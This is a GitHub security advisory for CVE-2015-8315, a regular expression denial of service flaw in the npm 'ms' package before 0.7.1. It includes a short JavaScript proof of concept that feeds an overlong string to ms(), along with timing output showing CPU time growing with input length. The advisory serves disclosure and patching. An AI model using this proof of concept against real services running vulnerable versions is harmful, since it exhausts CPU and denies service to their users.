GitHub Advisoryadvisory · npm

GHSA-3fx5-fwvr-xrjg Regular Expression Denial of Service in ms

HIGH Published 2017-10-24 Modified 2024-08-01 Official page ↗
Aliases
CVE-2015-8315
Ecosystem
npm
Packages
ms
Severity
High
CVSS vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-1333, CWE-400
Reviewed
2020-06-16

Affected packages

• npm ms: < 0.7.1 → fixed in 0.7.1

Description

Versions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed. Proof of Concept ```javascript var ms = require('ms'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } ms(genstr(process.argv[2], "5") + " minutea"); ``` Results Showing increase in execution time based on the input string. ``` $ time node ms.js 10000 real 0m0.758s user 0m0.724s sys 0m0.031s $ time node ms.js 20000 real 0m2.580s user 0m2.494s sys 0m0.047s $ time node ms.js 30000 real 0m5.747s user 0m5.483s sys 0m0.080s $ time node ms.js 80000 real 0m41.022s user 0m38.894s sys 0m0.529s ```

Related

Alias · CVE (1)

  • CVE-2015-8315 The ms package before 0.7.1 for Node.js allows attackers to cause a denial of service (CPU consumption) via a long version string, aka a… vulnerability

Weakness · CWE (2)

  • CWE-1333 Inefficient Regular Expression Complexity weakness
  • CWE-400 Uncontrolled Resource Consumption weakness

References